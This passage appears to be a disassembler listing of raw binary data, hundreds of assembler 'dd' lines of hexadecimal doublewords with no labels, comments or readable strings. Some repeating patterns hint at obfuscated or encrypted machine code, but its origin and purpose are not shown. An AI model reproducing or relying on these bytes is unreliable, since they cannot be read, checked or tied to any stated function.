		dd 4546A9CDh, 0EB169461h, 9945CE47h, 1FD3A1C1h,	0EA7CA054h
		dd 0FB8D7436h, 10A25F47h, 9AA495Ch, 0C6D06206h,	2E7AA737h
		dd 9C292FD3h, 0A18F6713h, 6E221FD3h, 490FCF4Ah,	0BFE31C89h
		dd 0F36A970Fh, 0F88A772Fh, 89A6544h, 0F9F329A6h, 3D1975CAh
		dd 872BE4CFh, 45F6E863h, 0F094BB04h, 5BA9h, 0BC7C3600h
		dd 0DB8315ECh, 629F07B7h, 698C1CD0h, 7D31C33Ch,	8E32D62Bh
		dd 0B02EBDFCh, 55CC3571h, 9F6045DEh, 0A1986D0Dh, 0F7AE1FD3h
		dd 0E8C27608h, 0A1C09844h, 9F531FD3h, 0F3B569FBh, 9A44D30Eh
		dd 1DDD6693h, 0C13E6B88h, 607EF91Dh, 94BC9EDBh,	62FF0h
		dd 0E6A60000h, 0B91C40BFh, 0A9C6545h, 35AE5156h, 3DCF3075h
		dd 4DDF7195h, 991110CEh, 0AD8AF168h, 62C36FE8h,	715F0B7h
		dd 9A0DC153h, 10B44D59h, 5DD60C99h, 0D881D979h,	6047F71Bh
		dd 4266269Fh, 61852DBFh, 0C15D2FCFh, 57E625F2h,	0F20D9A87h
		dd 43B8EE7Bh, 0B46C1732h, 6F47F36Ch, 225F2ABh, 2D7A2A4Eh
		dd 7B1FE2C6h, 8D7235E9h, 0A7C5DE14h, 0CE7A2E61h, 199418AAh
		dd 324B5CC5h, 3429F6ADh, 2DA44899h, 741A3683h, 137D709h
		dd 0A2640000h, 0DB870095h, 15F0B716h, 0C97D0FC3h, 0E8A821DEh
		dd 0A71E42BDh, 0A93BC4E3h, 6641B2F5h, 0BB5F0799h, 0B42AA529h
		dd 6A433A6Dh, 85F10871h, 65EE670Bh, 0F2DCE1B9h,	9CC07425h
		dd 0D2D89825h, 0D1F59D2Fh, 74797E3Bh, 5A8F09h, 7C1C0000h
		dd 8214EBBCh, 0D263B6DAh, 329A46BFh, 651FD3A3h,	6DFF00A5h
		dd 0B468A1C5h, 701CA522h, 1FD3A198h, 0A1673FEBh, 46FA1FD3h
		dd 9935590Dh, 1FD3A1C1h, 0A133CCDDh, 0B244BDEDh, 33FAE473h
		dd 0B736BF6h, 42EE672Ah, 1FD3A2DAh, 6020994Dh, 7F27B948h
		dd 92B5E45Bh, 3E000000h, 7E4467Ch, 0FDFDFF90h, 7B186D9h
		dd 0E0FAD27Eh, 0D98D1FD2h, 0D2E0653Dh, 9EC2F81Fh, 1D115A01h
		dd 0CE47EB8Fh, 44C19945h, 0A0541FD3h, 0CE57037Ch, 4315F05Dh
		dd 5E49FD8Fh, 41662AA1h, 0BD8C2CBEh, 4025F25Eh,	0B3F42DB1h
		dd 9E4AD34Ch, 25F25EC6h, 0A81A559h, 880194A3h, 18A63CDCh
		dd 0B22BDF1Ch, 0A6A57D29h, 84382C18h, 62AD5D4h,	7EC1F774h
		dd 0E221FC41h, 0B8EF9FC3h, 0A423B547h, 1CF3443Ah, 3DAC790Ch
		dd 229B3F76h, 3FA2D676h, 4EC57922h, 95A2D7h, 6A3EFE87h
		dd 3FC0E797h, 45E105ADh, 15F9E8A5h, 0F2B8848h, 0F9E88B63h
		dd 0C66A1E25h, 56E88C34h, 83FA05A2h, 8517E8BFh,	2E583DE5h
		dd 9656E318h, 0B75FF110h, 43A4C791h, 82C1FCCh, 0D7D0518Dh
		dd 0F026AF28h, 0F48E51CAh, 7E56F226h, 1130CFA9h, 367D375Dh
		dd 3865A4F9h, 0CED99D14h, 0BEEB9F31h, 0ADFBAF41h, 9945C254h
		dd 30D078C1h, 0B6F0A054h, 0A827B94Bh, 0EA69F736h, 2FDB64F4h
		dd 30D07857h, 621236EAh, 0B643BA45h, 78A9812Dh,	874F30D0h
		dd 2DB58380h, 0A6560A43h, 2ADAFE01h, 2901AD7Dh,	0BC30D091h
		dd 0C153AEFCh, 3FD17519h, 320h,	40A7A900h, 89A6745h, 1AAC5354h
		dd 2DBF4266h, 43D53A79h, 58EA178Fh, 6DFF02A4h, 7D0FF0B9h
		dd 8E20E1C9h, 0A234CBDAh, 0E0895086h, 405h, 42D00h, 4870000h
		dd 14895C24h, 0E6895624h, 4C681h, 0EE830000h, 24348704h
		dd 2404895Ch, 499568h, 24148900h, 4E56BF57h, 0EF811BA4h
		dd 27914B04h, 0F701C783h, 0F78147DFh, 0DCABBFBh, 685FF889h
		dd 25BAh, 83242489h, 5A042404h,	4EC81h,	4890000h, 8428F24h
		dd 5624148Bh, 0C681E689h, 4, 4C681h, 34870000h,	34FF5C24h
		dd 0C4815824h, 4, 0F930ADE9h, 4DB80FFFh, 306264Ch, 37E0FFC5h
		dd 121E8397h, 5850806Ch, 666A8377h, 2B654427h, 4C4080h
		dd 473040DAh, 907807Eh,	323F14A7h, 0DE29D786h, 6E55E851h
		dd 0F6317D7Dh, 5950D335h, 924E6302h, 6964D736h,	3C58C6C6h
		dd 2A0388E8h, 0F66F1C47h, 3D4A1A81h, 9F361D66h,	0DA72B34Fh
		dd 3371946Ch, 0EB302CB4h, 853BC604h, 4E6E914h, 0A9030000h
		dd 881DE158h, 6E3C0077h, 51581C93h, 337337AEh, 510B57CEh
		dd 30A75A4Ch, 51C8476Ch, 6FE61B8Dh, 8C03FCABh, 0C69E4AC3h
		dd 5919AD54h, 6245AE21h, 0EF9B249Dh, 1FD3A217h,	40D2F6AAh
		dd 893D8DC3h, 0F7DCF5BDh, 7E8323D3h, 0F8D07C05h, 8B1FD303h
		dd 7F8027D7h, 0AA2145EDh, 0C53EC1E6h, 5751A205h, 0CC7406AAh
		dd 456216A8h, 317428BAh, 0A3323CCEh, 3EC1E63Bh,	5CA503C7h
		dd 7A8721E5h, 907F34E8h, 0F1ED6CFEh, 3E983167h,	0D27C2462h
		dd 57AAFEAEh, 7A951EDEh, 8C1BDF56h, 6C41E173h, 821FD361h
		dd 9448DA25h, 38C7E211h, 0F1700294h, 8A7534EDh,	0B02EB9E6h
		dd 9B731FA8h, 2E1FD361h, 0F9C0567Ah, 14F094FCh,	51h, 9D6245A1h
		dd 0A1996B0Bh, 0A5301FD3h, 465F1F39h, 5B7F27B9h, 94BCF4C5h
		dd 250339F0h, 0B58851E7h, 157F014h, 0E4000000h,	14EBBC7Ch
		dd 8E6540F0h, 0B058EA25h, 0DFC67A0Ch, 0CFDA8E20h, 6565E1AEh
		dd 0AB4FCEADh, 5E800F19h, 0A61DE2C3h, 0C33AC5E2h, 0CB61454Ch
		dd 9AA01895h, 0A8440C26h
		dd 1FD315D0h, 790BAF63h, 8D1FE0C5h, 0D9D09009h,	0A06A9426h
		dd 92A29C23h, 7DF81CC0h, 0FE6C061h, 0F4B6669Bh,	2FD37B0Dh
		dd 4EB1F6B6h, 79F014BCh, 8A8BF2B5h, 3F09089Bh, 0A4E25871h
		dd 0CB40117Eh, 0EA9224DDh, 5C10A246h, 6D21B34Eh, 8337C946h
		dd 0C448DA27h, 3A989549h, 311823BBh, 7CF0948Eh,	78h, 0A0614509h
		dd 0B1505A0Eh, 5886151Fh, 0AB24DDC9h, 0A19E7622h, 0F9BA1FD3h
		dd 0A3DC8416h, 9054CBEFh, 0A559EB16h, 0B569FB04h, 0FF7C0EF3h
		dd 0D3A17B53h, 0AA5A0E1Fh, 0DD6F0100h, 4FAD805Eh, 18BC9CD2h
		dd 8F396D3Ch, 6AEEF06Bh, 0B8613834h, 78F1E5EBh,	0D2D8F4CCh
		dd 0AFD3871Fh, 94733019h, 407DF0h, 450A0000h, 5A0EA061h
		dd 0E221B34Eh, 0EF109555h, 938E50CBh, 77EE13h, 0D9F6045h
		dd 0D3A1986Dh, 38A6311Fh, 94BCB603h, 0F3B777F0h, 0B0D47C0Eh
		dd 0D17h, 5D588E00h, 320BDD33h,	52AFF9A9h, 6545CB2Eh, 51560A9Ch
		dd 0B8A1CAEh, 0A55C4ED3h, 1D70C72Eh, 0B797F8A4h, 73FC15F0h
		dd 0F2B6EFC7h, 0BE964225h, 5125F2B6h, 8CB0649Dh, 590D9F53h
		dd 0AF38B14Eh, 0F2B72B03h, 8935BE25h, 25F2B7B1h, 73EC9044h
		dd 0F2B7EFC7h, 0AACE8225h, 0C7386F33h, 0B7C39535h, 0BD4C25F2h
		dd 58A70021h, 0D2AA56DFh, 6525F2B7h, 52168DB1h,	0A831AA55h
		dd 0F2B824FCh, 0F3CB7725h, 8625F2B7h, 0C1E599D2h, 0D32C7B2Fh
		dd 9C42BD41h, 66DD2285h, 7456FDBCh, 1371009h, 0A29D0000h
		dd 0DB870095h, 15F0B716h, 7D0FC3h, 4AB6CECAh, 5B7F5901h
		dd 8C03FCABh, 9A673FFFh, 8C3C6008h, 2ED1D81Bh, 0CF7BF49Ch
		dd 25F37CF7h, 0A032D68Ah, 0B244BBECh, 2D2BB32Eh, 9FC33C6Dh
		dd 6C3BB8EFh, 0EB78EF93h, 5F837C2Bh, 7499F0C9h,	3D1D09h
		dd 0A2AA0000h, 0FC85FE93h, 1E415AC6h, 7CA0C59Ah, 0D31E78E0h
		dd 0A537EB1Fh, 0D31E2D05h, 0AD31BC1Fh, 45BAEBABh, 56ABFFB3h
		dd 5BA602B2h, 4051E437h, 1FB31BC7h, 72261FD3h, 0A7CCFBh
		dd 0A2550000h, 0DB870095h, 15F0BB52h, 48113C7h,	1AC66644h
		dd 25F2BB42h, 597D21D5h, 0A32CFEA9h, 0F2BC1FF7h, 62FEB225h
		dd 25F2BB8Ah, 0BB5931DDh, 38EC25F2h, 30A74BFFh,	32C43B6Ch
		dd 51BEF5B5h, 57F317BFh, 25F2BC88h, 60F21D96h, 7305FCACh
		dd 758A1BCBh, 0C915A4E3h, 449A2964h, 0BE35CADDh, 2CD8E057h
		dd 25F2BC54h, 808127E7h, 0FEA246EEh, 0A4CD985h,	15C91C19h
		dd 5F460683h, 42660EA0h, 58EA1592h, 6CFE01A4h, 8214FBB8h
		dd 0C06D71F0h, 532BB332h, 238B1E4h, 3866220Ah, 219ABEC1h
		dd 3F59E875h, 3AB16522h, 95A2C3h, 673EFE87h, 3A5E0698h
		dd 0F9EF119Eh, 19C54E15h, 25F9EE41h, 0C3FC20D4h, 0DEC97D0Fh
		dd 0C1E6AA21h, 0E10CAC3Eh, 91309B18h, 6245DC02h, 4562269Dh
		dd 357428BAh, 27A638CAh, 0B63D6AB7h, 0F46B0FF2h, 0F6887730h
		dd 8D7h, 2AA76000h, 0A0C43B6Ah,	9A67453Dh, 0AC535408h
		dd 0BF42661Ah, 0D53A792Dh, 0EA178F43h, 0FF02A458h, 0FF0B96Dh
		dd 20E1C97Dh, 34CBDA8Eh, 0C56886A2h, 89000003h,	89572414h
		dd 4C781E7h, 81000000h,	4EFh, 243C8700h, 2404895Ch, 3B3A68h
		dd 241C8900h, 3988BF57h, 0F7574926h, 815F2414h,	691936EFh
		dd 1C78101h, 8950B5A0h,	8B545FF8h, 0C483241Ch, 4EC8104h
		dd 89000000h, 4812404h,	0EB15F124h, 8438F17h, 0F1086B81h
		dd 0FF17EB15h, 815B2434h, 4C4h,	2434FF00h, 4C48358h, 0F92B5DE9h
		dd 0D2E350FFh, 2651AEB8h, 0FFC50306h, 25AA0FE0h, 0FB868001h
		dd 40338A41h, 442ABD2Eh, 904D1D59h, 0BAD8A855h,	3529180Fh
		dd 0A464E53Dh, 6EFA323Eh, 0D22DA27Eh, 7B31EE69h, 338D8D63h
		dd 6A062653h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 59F0C355h, 0FF551C4h, 686h, 95BD8B00h
		dd 89061F2Dh, 1F0B5D8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0B70FBA90h, 0C585C7C1h
		dd 54061F20h, 66000070h, 85C7D18Bh, 61F137Dh, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0C3C35141h
		dd 0C281BC41h, 22D598E6h, 749B5FFh, 6A061Fh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 204D80C3h
		dd 96B57EC5h, 95898053h, 61F0589h, 589858Bh, 95FF061Fh
		dd 61F2D59h, 95FF006Ah,	61F1D45h, 0EEBC08Bh, 112F4736h
		dd 2D6759A5h, 608AE520h, 8D8DE043h, 626541Bh, 850Fh, 89F80000h
		dd 1F0B5D8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0BE2B047Eh, 0C585C7BAh, 94061F20h
		dd 6A00006Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0FC5DC355h, 549F3790h,	0E9C47FFBh
		dd 0Eh,	0D300FD4h, 5DE943B7h, 87BB515h,	85C75AF8h, 61F137Dh
		dd 0
		dd 0BC9BD29h, 0B5FF061Fh, 61F1545h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0ECC35040h,	0F0AE0B70h, 6097202Fh
		dd 3DE7BA66h, 5E8h, 0E2CF7000h,	85319550h, 61F08EDh, 95FF615Eh
		dd 61F2D59h, 61D68B60h,	95FF006Ah, 61F1D45h, 5FEBC08Bh
		dd 711E190h, 0BAEAAA3Bh, 0EE9CA00Ch, 0B532D61Ah, 0FA1BD232h
		dd 9AFB914Bh, 921F1C00h, 3AE0E2FFh, 4777191Ch, 9367AF16h
		dd 0DBD0BFF8h, 0CCA76ABEh, 77DA2B70h, 0EDF8014Eh, 0AC70F745h
		dd 1E462994h, 23345BEDh, 0F02E184Bh, 172511AFh,	8F5F47A6h
		dd 79BD8E42h, 1CC061Ch,	77361ACEh, 0EB5F6C5Ah, 10h, 3 dup(0)
		dd 6AC08B00h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 9DC5C350h, 0D9952BFCh,	83061F16h
		dd 1F06C1BDh, 9750006h,	1F51BD83h, 7400061Fh, 8B535019h
		dd 42DB8C0h, 85890000h,	61F0F65h, 0AFA49D8Dh, 0D3FF0621h
		dd 0BD83585Bh, 61F1F51h, 50177400h, 42DB853h, 85890000h
		dd 61F0F65h, 0AC939D8Dh, 0D3FF0621h, 6A585Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 958B1AC3h
		dd 61F0741h, 0E9F7B70Fh, 5, 0D2635E5Fh,	0E9C08B02h, 7
		dd 727DE0DBh, 8B2EC731h, 1F1FE58Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 8504409Ah
		dd 4ED34501h, 18E3DE81h, 2B566040h, 1F231995h, 0F9835A06h
		dd 69840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 465C355h, 3C7ABB08h
		dd 0C820Fh, 820F0000h, 6, 1A49952Bh, 0F680061Fh, 3D8B6434h
		dd 2Ch,	0A58D89h, 9589061Fh, 61F31B1h, 840FFF0Bh, 18h
		dd 3F8BF18Bh, 95897EB6h, 61F0565h, 8589C032h, 61F0E05h
		dd 0F0B2AAF3h, 50414935h, 0B6EE8153h, 0C6391351h, 1F202585h
		dd 0B70F4706h, 0AB7468F1h, 850FD406h, 0Ch, 6870Fh, 52500000h
		dd 585A310Fh, 0B8240481h, 0F08CFDCh, 687h, 4DBD0900h, 0FF061F27h
		dd 1F3271B5h, 0F1BF0F06h, 7993858Dh, 958B0622h,	61F0DF5h
		dd 227CCE81h, 0D0FF765Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 57C35343h, 95BD5222h,	0F01E726h, 68Ah
		dd 0F58D2900h, 0F8061F1Ch, 0B818529h, 8589061Fh, 61F1889h
		dd 0C646DE80h, 1F202585h, 6A5306h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 8BD685C3h, 49B509F5h
		dd 68061F23h, 37D859CCh, 0CD45C5BAh, 2404813Bh,	50C01130h
		dd 8E8h, 43112500h, 6DA38823h, 0B5315ADDh, 61F1D65h, 3271B5FFh
		dd 0B70F061Fh, 38F0FD1h, 0F000000h, 858DD1BFh, 6227993h
		dd 2061958Bh, 0D0FF061Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 88C35242h, 0E2820ABCh, 3890Fh, 0BF0F0000h
		dd 0EB858DD3h, 0F06223Dh, 80h, 0F9858900h, 6A061F14h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 6389C356h, 0AE566FA7h, 81F78A55h, 0EA6B3CAh,	6A206A6Bh
		dd 0F995FFFFh, 35061F14h, 53504149h, 9CD85C7h, 1061Fh
		dd 85C70000h, 61F0AC1h,	0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0F2C35747h
		dd 0C3BF6198h, 0F28DC2E6h, 14E8FC50h, 0E8000000h, 3D64BB52h
		dd 504693B5h, 4D69E509h, 0B0716DEFh, 811431E1h,	0F90AC7E2h
		dd 0BD835E42h, 61F20F1h, 55840F00h, 1000000h, 1F2F75BDh
		dd 0BD858B06h, 64061F2Dh, 0A3h,	11E900h, 0ADB40000h, 0EDC5D9B1h
		dd 0B7D6D9D0h, 4BBF9962h, 8B5CF524h, 1F153D85h,	0E08BFC06h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 86C35747h
		dd 9D89983Eh, 61F0DB1h,	10DDBD83h, 0F00061Fh, 39B85h, 0D5B58B00h
		dd 89061F18h, 1F17558Dh, 2585C606h, 56061F20h, 4E8h, 0C530DF00h
		dd 506DB6A9h, 448BD18Bh, 0D6BE0424h, 8B6E18ADh,	89D38B00h
		dd 0E8042444h, 14h, 1E27839Dh, 10620C9Ch, 63B7AD8Ah, 6381D9B5h
		dd 2CFB531Fh, 0DE8h, 0E9C14700h, 69EE1D53h, 7724FD40h
		dd 52503B68h, 585A310Fh, 89585E5Eh, 1F085DBDh, 71B5FF06h
		dd 6A061F32h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 7836C351h, 1A2A5896h, 7993858Dh
		dd 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 9BC994C3h, 11899529h, 0D0FF061Fh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0AAC35242h, 508C25A4h
		dd 50525060h, 5A310F52h, 0E9310F58h, 6,	0BB1079F9h, 585ACE22h
		dd 28F0Fh, 0C88B0000h, 24048961h, 0BF59DE81h, 8D094E32h
		dd 61F11B1h, 5FD8D8Dh, 0B58B061Fh, 61F1AD5h, 240C8950h
		dd 46AF78Bh, 126DB58Bh,	8868061Fh, 0BE30AB6Ah, 44FDD8AFh
		dd 88243481h, 0BA30AB7Ah, 6CBEF07Ah, 5CDB5FFh, 0D0FF061Fh
		dd 68B0Fh, 0DE810000h, 780E2477h, 5CDBD8Bh, 6A061Fh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 355F5C3h, 0C7813C7Fh, 0F8h, 90B0DABAh, 2447C710h, 60000020h
		dd 2BB19533h, 0BD83061Fh, 6265481h, 2A840F00h, 8B000001h
		dd 28C783D7h, 6A2E07C7h, 6A6469h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0DE5354C3h, 447C75Dh
		dd 617461h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 15h,	6BC35141h, 0BC19BEC2h, 0BE660132h, 858B6B5Ch, 6265489h
		dd 12E8h, 98861200h, 0DDDED395h, 8D726135h, 0A11B6FA2h
		dd 0FEB83C1h, 684h, 5D950300h, 5E061F2Dh, 0B20C4789h, 8D858B0Eh
		dd 29062654h, 1F00F9B5h, 8478906h, 1AC99D89h, 0C783061Fh
		dd 6870F28h, 8B000000h,	1F2F69B5h, 2E07C706h, 6A6E6F63h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 64EFC352h, 0C8790131h, 7D8589C0h,	0E9061F14h
		dd 7, 88205A43h, 0C73624B6h, 69660447h,	13E90067h, 0A5000000h
		dd 74D7100h, 0E75AE8E7h, 0DF445105h, 0C7E93D30h, 858B65D6h
		dd 6265485h, 0C4789FCh,	120D8D29h, 858B061Fh, 6265481h
		dd 0DE81D78Bh, 59B360FDh, 8B084789h, 1F15C1B5h,	6A5806h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0F18902C3h, 0FAE9646h, 683h,	0BD952B00h, 8D061F0Ah
		dd 1F2E2D8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 0B58BE6A8h, 61F1BEDh, 93BE6650h
		dd 240C89CEh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 17h,	4CC35646h, 892ECA72h, 1F16558Dh, 0FDB5FF06h, 31061F05h
		dd 1F0AB195h, 7B566806h, 8D0FDFB6h, 0
		dd 0AA240481h, 6A204994h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0D4E7C351h,	0F30223DDh
		dd 0A7C30E0Eh, 5CDB5FFh, 0B70F061Fh, 0F8D0FFD2h, 0B8h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 2D1545DBh, 704B3B96h, 70BB6660h,	2830FA0h
		dd 0B2000000h, 0BE666164h, 0C00B1ADBh, 60840Fh,	6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0FCFF3AC3h, 23CDB5FFh, 6A061Fh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 697FEC3h, 0F64E1245h
		dd 9D896079h, 61F2BFDh,	0EBDA8166h, 95FF6116h, 61F2D59h
		dd 199DBD89h, 0C08B061Fh, 0DE9h, 0EE968600h, 31D4AB2Ch
		dd 17C0E191h, 0BD8387DBh, 61F06C1h, 83097500h, 1F1F51BDh
		dd 19740006h, 0C08B5350h, 42DB8h, 95858900h, 8D061F13h
		dd 21B00B9Dh, 5BD3FF06h, 51BD8358h, 61F1Fh, 53501774h
		dd 42DB8h, 95858900h, 8D061F13h, 21ACAC9Dh, 5BD3FF06h
		dd 53006A58h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 3DB9D473h, 798D01F8h, 60061F13h,	8E9h, 0B9C89800h
		dd 0E0BBDE89h, 0D881661Dh, 66613D98h, 0C08BD68Bh, 8BD18B66h
		dd 1F1A6995h, 0E8C08B06h, 10h, 628B5578h, 5AC534E5h, 0FECEFD12h
		dd 0ED79CC5Eh, 5FD18B53h, 0CEC2815Eh, 81563CACh, 5A66C6h
		dd 5830F00h, 66000000h,	0BFFECA81h, 68h, 1A820F00h, 0E8000000h
		dd 9, 7890773Ch, 153688A0h, 5E850h, 20250000h, 5A0F8C6Dh
		dd 34FF5B59h, 0E9BD8B33h, 58061F1Ch, 2860Fh, 0EE8A0000h
		dd 0D40AE881h, 8D336C00h, 61F0615h, 3C2BC081h, 8D890EA9h
		dd 61F242Dh, 8E54C081h,	64B13009h, 0B6BF6650h, 1E048FE8h
		dd 2B319D09h, 958B061Fh, 61F1F29h, 8902EB83h, 1F11658Dh
		dd 8B4B4B06h, 1F2FDD95h, 78FB8106h, 0FFFFFA6h, 1885h, 11BD0900h
		dd 0E9061F2Dh, 22h, 216D9F46h, 497EF191h, 3C31990Ch, 65B589D2h
		dd 0E9061F06h, 0FFFFFF7Ah, 52C38BD4h, 2D03C2F4h, 4EB6724h
		dd 53524FEh, 622E9h, 91703C00h,	0B04F561Ah, 0CC357539h
		dd 0E7189155h, 7FAAC70h, 838A4490h, 0A367DE23h,	0C488FF10h
		dd 0E2A61DE4h, 0FAC33AC5h, 43FDD581h, 589019ADh, 9D6245E5h
		dd 0A64F570Bh, 5B4FFF02h, 0C86C14A6h, 0E51A8D51h, 0F7089F53h
		dd 0BF4B165h, 22E1D292h, 0B2D67A85h, 57871620h,	0AB22DDCAh
		dd 0C940C1E7h, 5652A305h, 0CD7119ABh, 0ED149454h, 0FD8FB35Bh
		dd 13A56A49h, 45DC0281h, 63279E63h, 8929BB44h, 1FD3A1B4h
		dd 3C1CC24Dh, 0B3D72A7Ch, 94BC5C1Dh, 0D7D191F0h, 0CCF0982Ah
		dd 0A033h, 0BC7CC000h, 44F418F7h, 0EC239063h, 9A46CF48h
		dd 1FD3A1C2h, 0EB7DA155h, 0D3A1794Bh, 0E7188D1Fh, 2812A155h
		dd 0D3A1A47Ch, 0DF83371Fh, 2AB4434Dh, 934BD603h, 0B8903CC5h
		dd 4B1FD3A1h, 9CDD7397h, 31F094BCh, 1, 0EEBC7CBEh, 0BE436313h
		dd 44BBEA9Ah, 317535B2h, 0A9FCACD0h, 1147C456h,	0EBD53C55h
		dd 15C5E9C0h, 0B7485F94h, 6294D891h, 5AFEF5F0h,	0AF2FBEC8h
		dd 53CC3372h, 3E11BC1Dh, 0C2F1BEFFh, 0BAF9A94Dh, 0F6BA3155h
		dd 583DCCB1h, 0CFF5AD3Dh, 6727B42Bh, 9711C13Eh,	0C30D86Ah
		dd 0A06145A9h, 0D4D1910Eh, 4E57072Bh, 6AFC05A5h, 88C1EC2h
		dd 825A068Fh, 151FD3A1h, 1CC23D61h, 0E960A105h,	47D8225h
		dd 99B6644h, 0F7AB3D61h, 8E6542B3h, 0AC54E619h,	1ED26408h
		dd 1DF5A189h, 0B01FD3A2h, 12C658FCh, 52D66897h,	0C82607D7h
		dd 3AC39549h, 0D3A1B68Eh, 7195491Fh, 94BAEEDBh,	0AA3FF0h
		dd 45CC0000h, 0EF129461h, 0AF8FB55Dh, 28CA2B40h, 57D4660Ah
		dd 0B94A22CEh, 29DD1FD2h, 0AC555505h, 26FEAA33h, 421FD2BAh
		dd 0B1659E71h, 0B9B48C38h, 93471FD2h, 44D3DD6Fh, 0E21F879Ah
		dd 2FFA76Bh, 53B15389h,	0CC3DA8BDh, 20CFA753h, 0AE621FD3h
		dd 6544F88Ah, 27A6089Ah, 0E218A1B7h, 6DE0FA54h,	1BF38FC4h
		dd 0AE1FD2A9h, 75F8D4FAh, 0D47B0678h, 0F92F1AB0h, 557EF094h
		dd 0B000000h, 6F47F37Ch, 21FD3A1h, 2C7A2A4Eh, 198F43D5h
		dd 0B763D7DCh, 1FD3A1DFh, 881ABE72h, 6BAA3CE0h,	0F3A9A8DEh
		dd 0DD78F51h, 0B1706EE9h, 1E950CF5h, 40ECBC7Ch,	0D3A1BC94h
		dd 0F79B4F1Fh, 7D8223D3h, 0A1764BEBh, 840F1FD3h, 0BC98E15Ah
		dd 135F094h, 0C2000000h, 0A9C6545h, 23DCCD8Dh, 15C5E991h
		dd 14EC9892h, 301FD3A2h, 9C508978h, 0A19F7723h,	7E321FD3h
		dd 37B648DAh, 0D1307AA7h, 6D129858h, 0E09195D1h, 2448EC6Eh
		dd 9CF146ADh, 41649A23h, 7284F1E3h, 0EF129848h,	0F591B55Dh
		dd 15F08394h, 3FF38539h, 5C209768h, 0FFA84Bh, 9022C66Eh
		dd 0F2831EF0h, 0C618A725h, 3D6A5C92h, 43A53706h, 25E9B20Dh
		dd 0F33D770h, 40B7485Fh, 0E1C82B7Ch, 40E48C1Eh,	387131AEh
		dd 8012EFBBh, 78A234D8h, 0A717FE43h, 0ED11B585h, 1F896A3Dh
		dd 0F8AC3EE2h, 0ABE50AFh, 90D1639Eh, 6048D905h,	47DFDA1h
		dd 0DCF7CF7Bh, 0D68A25F1h, 7AA737B2h, 9959D22Dh, 7B416F0Eh
		dd 947B6005h, 90B65EF0h, 0BB70AFE8h, 0A61D4171h, 0CC0E319h
		dd 53976F1Bh, 762A25F2h, 7B767150h, 0FAF8C157h,	6F150975h
		dd 0A2000001h, 870095A2h, 9123ECC7h, 0C34CC5E9h, 0C759A603h
		dd 0C9366F1Fh, 0CF6B8F37h, 15F0B70Ah, 0BD7103B7h, 929493EAh
		dd 0FD08EB22h, 10B458A9h, 5A4C0C99h, 0F46D15A7h, 0F3917048h
		dd 2B4F0325h, 41D32C7Bh, 53E51A8Dh, 65F7089Fh, 7507F8B1h
		dd 8517E8C1h, 0CB13A2DDh, 7767E262h, 8B02FDAAh,	14693EFEh
		dd 0A841DF4h, 0B244E8CBh, 1359E40Ah, 896C73D9h,	0F38ACF65h
		dd 52230974h, 9A000000h, 5E8D6511h, 34E025F3h, 25F35E5Ch
		dd 4E023BEFh, 5E5129D5h, 30E425F3h, 93A2A90Ch, 3CFC85FEh
		dd 5B03956Ch, 0A3339B37h, 0DD661FD3h, 0D3A15931h, 1438EC1Fh
		dd 0F59527DBh, 1FD3A21Dh, 0C1BD21ACh, 0F09C1574h, 1FD3A388h
		dd 0A1D047FBh, 0A2h, 47F37C2Ah,	1FD3A16Fh, 0D72A4E02h
		dd 6F842160h, 9022C63Bh, 1FCB44E8h, 15F0BA96h, 0FED6820Bh
		dd 1A25F2BAh, 8539728Dh, 0FFA868E1h, 0A2C66E00h, 0B44B5C10h
		dd 2E06B23Bh, 0C125F2BAh, 0AE72E90Dh, 55ACFAF9h, 0B07F1FB1h
		dd 3325F2BBh, 3FC2E6A6h, 66E105ADh, 2CFEA978h, 0F2BBA880h
		dd 20EFC425h, 188F33E7h, 8A0386B1h, 6427801h, 3F77F2BAh
		dd 0A411E985h, 0F0A425F2h, 75996840h, 18C205D9h, 4ADC901Ch
